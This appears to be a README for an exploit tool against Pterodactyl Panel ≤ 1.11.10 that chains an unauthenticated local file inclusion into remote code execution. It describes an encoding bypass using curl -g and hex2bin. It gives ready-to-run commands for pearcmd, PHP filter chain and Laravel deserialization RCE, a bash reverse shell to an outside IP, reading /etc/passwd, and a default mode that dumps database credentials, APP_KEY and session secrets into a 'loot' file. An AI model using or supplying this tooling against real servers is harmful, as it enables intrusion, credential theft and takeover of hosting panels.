
适用于 Pterodactyl Panel ≤ 1.11.10 的利用工具 - 未授权 LFI 到 RCE。
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Exploit for Pterodactyl Panel ≤ 1.11.10 - unauthenticated LFI to RCE.
/locales/locale.json端点接受locale和namespace参数,这些参数未经清理或认证直接传递给PHP的include()。旨在防止滥用的hash参数在未修补版本中从未被强制执行。
这允许:
.php配置文件(数据库凭据、APP_KEY、邮件、会话……)pearcmd.php(register_argc_argv + config-create技巧)、PHP过滤器链或利用泄露的APP_KEY进行Laravel反序列化影响范围: Pterodactyl Panel ≤ 1.11.10 修复版本: 1.11.11
原始PoC使用Python的requests发送pearcmd载荷。问题在于:requests会静默地对<、>、{、}等字符进行URL编码,这会破坏嵌入在URL中的PHP标签(<?=system(...)?>)。
此漏洞利用程序通过两个关键更改解决了此问题:
curl进行阶段1 - 载荷创建请求通过subprocess使用curl -g(globoff),完全绕过Python的URL编码。hex2bin()进行命令编码 - 不再注入原始命令(原始命令会因空格和特殊字符而中断),而是将命令进行十六进制编码,并在服务端使用system(hex2bin('...'))解码。十六进制只使用0-9a-f - 没有+、=、&、空格。这意味着任何命令都可以工作,包括带有>&和/dev/tcp/的反向Shell。pip install requests
可选(用于过滤器链/反序列化RCE方法):
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# 简单命令
python3 exploit.py http://panel.fr --rce-cmd "id"
# PHP过滤器链(需要php_filter_chain_generator在PATH中)
python3 exploit.py http://panel.fr --rce-filter "id"
# 预生成的过滤器链
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# 通过泄露的APP_KEY进行Laravel反序列化(需要phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"
# 使用其他pear目录的RCE
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# 反向Shell
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# 转储所有配置(数据库凭据、APP_KEY、邮件、会话、CORS……)并尝试自动RCE
python3 exploit.py http://panel.fr
--pear-dir值| 发行版 | 路径 |
|---|---|
| Debian / Ubuntu |
当不带--rce-cmd / --rce-filter / --rce-d运行时,此漏洞利用程序会执行完整的配置提取:
/etc/passwd、主机名、内核版本完整JSON报告保存到loot.json(或通过-o指定自定义路径)。
此漏洞利用程序是对GRodolphe/CVE-2025-49132_poc中PoC的改进,该PoC本身受0xtensho/CVE-2025-49132-poc原始PoC的启发。
| 选项 | 描述 |
|---|
target | 目标URL(例如http://panel.pterodactyl.fr) |
--rce-cmd CMD | 通过pearcmd执行CMD(支持任何命令,包括反向Shell) |
--rce-filter CMD | 通过PHP过滤器链执行CMD |
--filter-chain CHAIN | 使用预生成的php://filter链(与--rce-filter一起使用) |
--rce-d CMD | 通过Laravel反序列化执行CMD |
--pear-dir PATH | pearcmd.php目录的路径(默认:/usr/share/php) |
--timeout N | 请求超时秒数(默认:10) |
--verify-ssl | 启用SSL证书验证(默认禁用) |
-o FILE | 输出报告文件(默认:loot.json) |
/usr/share/php(默认) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 或 /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |